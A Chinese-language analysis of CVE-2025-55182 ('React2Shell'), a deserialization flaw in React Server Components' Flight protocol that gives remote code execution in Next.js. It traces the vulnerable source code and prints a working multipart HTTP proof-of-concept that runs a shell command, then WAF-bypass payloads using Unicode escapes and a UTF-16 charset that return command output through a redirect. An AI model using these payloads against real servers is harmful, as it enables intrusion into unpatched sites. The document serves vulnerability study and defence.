CVE-2025-55182

让我们通过react2shell了解javascript的运行时安全

背景

React Server Components(RSC)是一个react提供的服务端渲染机制。它允许组件在服务端执行,并将序列化后的组件数据通过Flight传回客户端,从而减少客户端js体积加快首屏加载速度。

但是react默认使用node.js对js进行渲染,在next.js中默认开启RSC,这样导致RSC运行在node.js环境下,同时RSC的Flight对于反序列化过程缺乏安全验证,最终导致可以巧妙构造利用链实现最终rce。

需要利用的一点前置知识参考react2shell漏洞分析

React Flight Protocol 是 React 用于在客户端和服务器之间传输数据的二进制协议。它使用特殊的前缀符号(以 $ 开头)来表示不同的数据类型和引用。

符号	含义	编码示例	解码结果	使用场景
$@	Chunk 引	Promise → "$@1"	getChunk(response, 1)	异步数据、Promise
$K	FormData 引用	FormData → "$K1"	从 FormData 提取 ID=1	表单数据、文件上传
$B	Blob 引用	Blob → "$B1"	response._formData.get("1")	二进制数据、图片
$F	Server Reference(Server Action)	serverAction → "$F1"	loadServerReference(...)	Server Action 函数
$T	Temporary Reference	tempRef → "$T1"	createTemporaryReference(...)	临时引用
$Q	Map 对象	Map → "$Q1"	new Map(...)	Map 数据结构
$R	ReadableStream (text)	ReadableStream → "$R1"	ReadableStream	文本流
$r	ReadableStream (bytes)	ReadableStream → "$r1"	ReadableStream	字节流
$X	AsyncIterable	AsyncIterable → "$X1"	AsyncIterable	异步迭代器
$D	Date 对象	new Date() → "$D2024-01-01T00:00:00.000Z"	new Date(...)	日期时间
$n	BigInt	123n → "$n123"	123n	大整数
$Z	Error 对象	Error → "$Z" + error info	new Error(...)	错误对象
$$	转义的 $	"$hello" → "$$hello"	"$hello"	字面量 $

同时Flight协议还会带一个next-action请求头,然后会根据Content-Type(multipart/form-data 或其他)选择相应的解码器: multipart/form-data 使用 decodeReplyFromBusboy,其他情况使用 decodeReply。

漏洞形成分析

先看看Server Action的判断在源码next.js/packages/next/src/server/lib/server-action-request-meta.ts很容易发现,这个判断很简单,我们只要随便写一个POST请求,content-type格式为application/x-www-form-urlencoded或者multipart/form-data的一种即可,然后携带一个next action头即可

  if (req.headers instanceof Headers) {
    actionId = req.headers.get(ACTION_HEADER) ?? null
    contentType = req.headers.get('content-type')
  } else {
    actionId = (req.headers[ACTION_HEADER] as string) ?? null
    contentType = req.headers['content-type'] ?? null
  }

  const isURLEncodedAction = Boolean(
    req.method === 'POST' && contentType === 'application/x-www-form-urlencoded'
  )
  const isMultipartAction = Boolean(
    req.method === 'POST' && contentType?.startsWith('multipart/form-data')
  )
  const isFetchAction = Boolean(
    actionId !== undefined &&
      typeof actionId === 'string' &&
      req.method === 'POST'
  )

  const isPossibleServerAction = Boolean(
    isFetchAction || isURLEncodedAction || isMultipartAction
  )

然后在next.js/packages/next/src/server/app-render/action-handler.ts中进行处理,

if (isMultipartAction) {
            if (isFetchAction) {
                ...
              // A fetch action with a multipart body.
              boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

显然当我们传入一个multipart/form-data的时候,我们就会到达decodeReplyFromBusboy函数,然后看看这个函数的实现

在react/packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js中,我们不难发现


function decodeReplyFromBusboy<T>(
  busboyStream: Busboy,
  moduleBasePath: ServerManifest,
  options?: {temporaryReferences?: TemporaryReferenceSet},
): Thenable<T> {
  const response = createResponse(
    moduleBasePath,
    '',
    options ? options.temporaryReferences : undefined,
  );

这里返回了一个Thenable,而且busboyStream会对我们的请求包内容进行解析,然后再到 resolveField(response, queuedFields[i], queuedFields[i + 1]);对内容进行解释,设置好slot表和根节点_root,然后这里最后是会 return getRoot(response);

随之getRoot我们来到react/packages/react-server/src/ReactFlightReplyServer.js,

export function getRoot<T>(response: Response): Thenable<T> {
  const chunk = getChunk(response, 0);
  return (chunk: any);
}

然后跟踪getChunk,

function getChunk(response: Response, id: number): SomeChunk<any> {
  const chunks = response._chunks;
  let chunk = chunks.get(id);
  if (!chunk) {
    const prefix = response._prefix;
    const key = prefix + id;
    // Check if we have this field in the backing store already.
    const backingEntry = response._formData.get(key);
    if (backingEntry != null) {
      // We assume that this is a string entry for now.
      chunk = createResolvedModelChunk(response, (backingEntry: any), id);
    } else if (response._closed) {
      // We have already errored the response and we're not going to get
      // anything more streaming in so this will immediately error.
      chunk = createErroredChunk(response, response._closedReason);
    } else {
      // We're still waiting on this entry to stream in.
      chunk = createPendingChunk(response);
    }
    chunks.set(id, chunk);
  }
  return chunk;
}

这里对我们请求包进行了chunk化,先从入口点1然后引用到0,大致流程为

getChunk(1)

createResolvedModelChunk

JSON.parse("$@0")

_fromJSON("$@0")

getChunk(0)

function createResolvedModelChunk<T>(
  response: Response,
  value: string,
  id: number,
): ResolvedModelChunk<T> {
  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
  return new Chunk(RESOLVED_MODEL, value, id, response);
}

function Chunk(status: any, value: any, reason: any, response: Response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response;
}

然后我们就成功将我们的payload加载到了chunk中,理论上讲我们这个引用链可以自定义长度

因为是await getRoot,使用我们会自然调用chunk的then

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
    switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;

然后我们来到initializeModelChunk在这里面实现了

const rawModel = JSON.parse(resolvedModel);  const resolvedModel = chunk.value;
 const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

我们来到reviveModel

  if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
  }

然后来到parseModelString

function parseModelString(
  response: Response,
  obj: Object,
  key: string,
  value: string,
  reference: void | string,
): any {
  if (value[0] === '$') {
    switch (value[1]) {
      case '$': {
        // This was an escaped string value.
        return value.slice(1);
      }
      case '@': {
        // Promise
        const id = parseInt(value.slice(2), 16);
        const chunk = getChunk(response, id);
        return chunk;
      }
            case 'B': {
        // Blob
        const id = parseInt(value.slice(2), 16);
        const prefix = response._prefix;
        const blobKey = prefix + id;
        // We should have this backingEntry in the store already because we emitted
        // it before referencing it. It should be a Blob.
        const backingEntry: Blob = (response._formData.get(blobKey): any);
        return backingEntry;
      }

这里实现了递归调用的处理,”$@x”返回了一个promise,这里的case ‘B’:是我们需要的攻击点,很显然到这里我们已经可以命令执行了

看看poc

Next-Action: x
X-Nextjs-Request-Id: 51fe50ef2a379133
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye12x8j2O
X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91
Content-Length: 499

------WebKitFormBoundarye12x8j2O
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_chunks": "",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundarye12x8j2O
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundarye12x8j2O--

首先我们通过”$@0”递归调用来到chunk0,第一步reviveModel解析完后我们首先是拿到了chunk0.value,$1:__proto__:then这个变成了chunk.prototype.then,这里最巧妙的点在于chunk.prototype.then,根据PRP原则,看到我们这里还有一个then方法,然后就继续调用,然后再次处理我们这个恶意payload,这一次将{“then”:“$B1337”}完全解析,然后通过$B,和被污染的”_formData”: {“get”: “Function”},将_prefix拼到命令中,最终命令执行

这里我们详细讲一下我们的poc在整个过程发生了什么

首先我们的请求包先会被busboy解析,将我们的请求包简单转换一下,然后就来到getChunk,同时此刻外部getRoot之前的的await在等待返回一个Chunk。

然后我们的”$@0”首先被解析,进入createResolvedModelChunk函数,new了一个chunk,然后因为Chunk的原型自带then方法,然后我们进入initializeModelChunk(chunk);

在initializeModelChunk(chunk);中首先对chunk的value进行了json.parse,然后同时后续进行了revivemodel,然后来到了parseModelString,将我们最开始的入口点”$@0”进行解析,然后自然而然的递归调用到了slot(0),因为在之前的步骤中构建response时,”$@0”已经被解析为slot(1)在现在被引用到slot(0)

然后对我们的payload重复上述步骤,因为json.parse的缘故,我们的payload将会变为

{
"then": "Chunk.prototype.then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_chunks": "",
"_formData": {
"get": "Function"
}
}
}

然后我们的Chunk0的value被返回时,函数发现我们还有一个then方法,然后根据PRP原则,我们的then方法被设置为了Chunk.prototype.then,再一次对这个假chunk进行操作,然后解析value,解析value时发现我们的$B1337,转到case B,然后将会调用被传进去的我们的假chunk的response,调用_fromData.get()也就时我们获得的Function,然后id和prefix拼接作为参数,最终实现命令执行

聊聊漏洞防御

官方最后为response引入了symbol这是我们json反序列化无法做到的

type RESPONSE_SYMBOL_TYPE = 'RESPONSE_SYMBOL'; // Fake symbol type.
const RESPONSE_SYMBOL: RESPONSE_SYMBOL_TYPE = (Symbol(): any);

当然在这个补丁之前,有许多waf诞生

比如直接将constructor全拦下来,当然这样的waf肯定会有漏洞的,比如Unicode一下就可以绕过,因为json支持Unicode,\u0063\u006F\u006E\u0073\u0074\u0072\u0075\u0063\u0074\u006F\u0072,或者\u0063onstructor,但是一般的waf不会这么业余

所以我们可以找到一个其他的方法,参考至离别歌师傅的React2Shell攻防笔记,我们发现busboy这个第三方库中存在可以利用的点

然后我们发现了一个UTF-16的利用点,我们可以再多传一个内容,然后将get的值设为我们第四那个值的$3

我们可以发一个包的content-type的charset设置为UTF-16,然后我们就可以成功绕过

然后我们也可以知晓多重unicode也可以绕过waf,如

{
  "then": "$1:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"\\u00241:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"\\u0024B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=\\u0024{res};307;`});\", \"_chunks\": [], \"_formData\": {\"get\": \"$1:\u005cu0063onstructor:\u005cu0063onstructor\"}}}",
  "_response": {
    "_chunks": "$1:_response:_chunks"
  }
}

但你果然我们也可以不一定一定有multipart头,因为如果没有会检测我们的next actionid是否存在,所以再已存在next actionid可以用的情况下,将这个hex字符串放在Next-Action头中,即可利用application/x-www-form-urlencoded来发送数据包。